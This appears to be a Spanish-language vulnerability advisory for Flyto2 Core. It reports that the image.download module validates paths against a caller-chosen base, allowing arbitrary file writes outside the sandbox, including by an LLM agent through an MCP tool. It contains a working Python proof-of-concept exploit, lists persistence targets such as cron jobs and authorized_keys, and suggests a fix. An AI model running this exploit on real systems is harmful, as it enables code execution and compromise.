Resumen
El módulo image.download de Flyto2 Core descarga una URL y escribe la respuesta en disco. A diferencia de file.write, no utiliza el guardián central de rutas (validate_path_with_env_config, que confina las escrituras a FLYTO_SANDBOX_DIR). En su lugar, intenta confinar la salida a output_dir, pero output_dir es en sí mismo un parámetro controlado por el llamante. Dado que el atacante establece tanto el destino como la base contra la que se valida, la comprobación carece de significado, y bytes controlados por el atacante (la respuesta HTTP) pueden escribirse en cualquier ruta absoluta a la que el proceso tenga acceso de escritura.
Código afectado
Archivo src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # base controlada por el llamante
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # la base la elige el atacante, siempre pasa
...
content = await response.read() # bytes alojados por el atacante
with open(target_real, 'wb') as f:
f.write(content)
El uso de commonpath es técnicamente correcto, pero la base es suministrada por el llamante, de modo que establecer output_dir='/' permite cualquier destino. Por contraste, file.write utiliza validate_path_with_env_config() y permanece dentro de FLYTO_SANDBOX_DIR.
Esta vulnerabilidad no se limita a image.download. La mayoría de los demás módulos de escritura de archivos escriben en un output_path proporcionado por el llamante sin ninguna comprobación de ruta: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word y browser.pagination. Su contenido está restringido por formato (PNG, XLSX, SVG o PDF válidos), pero la ruta es completamente elegida por el atacante. image.download representa el caso más grave porque los bytes escritos son completamente arbitrarios.
Reproducción
Guardar como filewrite_poc.py y ejecutar con PYTHONPATH=src/src python filewrite_poc.py. El script establece FLYTO_SANDBOX_DIR en un directorio sandbox y escribe en un directorio hermano fuera de él.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # permite que el host de contenido pase la comprobación SSRF
EVIL = b"#!/bin/sh\n# contenido controlado por el atacante escrito fuera del sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # FUERA del sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("archivo escrito fuera del sandbox?", os.path.exists(target))
if os.path.exists(target):
print("contenido:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Salida esperada:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
archivo escrito fuera del sandbox? True
contenido: b'#!/bin/sh\n# contenido controlado por el atacante escrito fuera del sandbox\necho pwned\n'
file.write rechaza la ruta fuera del sandbox; image.download escribe bytes del atacante en ella. El comportamiento ha sido reproducido también a través de la API HTTP en ejecución.
Alcance del problema: por qué no es autoservicio del operador
output_dir, output_path y url no son suministrados por el operador de confianza. Cada módulo no incluido en la lista de denegación queda expuesto a un agente de IA a través de la herramienta MCP genérica execute_module(module_id, params) (definida en core/mcp_handler.py, con params tomados de los arguments del modelo) y a clientes de la API alojada. Por tanto, estos parámetros son elegidos por el LLM (que procesa contenido no confiable) o por un cliente remoto. FLYTO_SANDBOX_DIR y el guardián que utiliza file.write existen precisamente para confinar las operaciones de escritura a un directorio que el llamante no puede modificar. Este módulo ignora ese confinamiento y permite al llamante elegir tanto el destino como la base contra la que se valida. Eludir un control de confinamiento que el propio proveedor implementó constituye un fallo de seguridad, no un comportamiento intencionado.
Impacto
Escritura de contenido arbitrario en una ruta arbitraria fuera del sandbox del operador. Un atacante puede sobrescribir configuraciones, depositar un perfil de shell, una tarea cron o un archivo authorized_keys, o reemplazar un módulo Python, lo que conduce a ejecución de código en despliegues típicos. La URL pasa la comprobación SSRF, por lo que el atacante aloja el payload en su propio servidor público, que el guardián permite.
Corrección sugerida
Utilizar validate_path_with_env_config() en todos los módulos que escriban archivos, de modo que todas las escrituras queden confinadas a FLYTO_SANDBOX_DIR (una base que el llamante no puede modificar), nunca a un output_dir suministrado por el llamante.
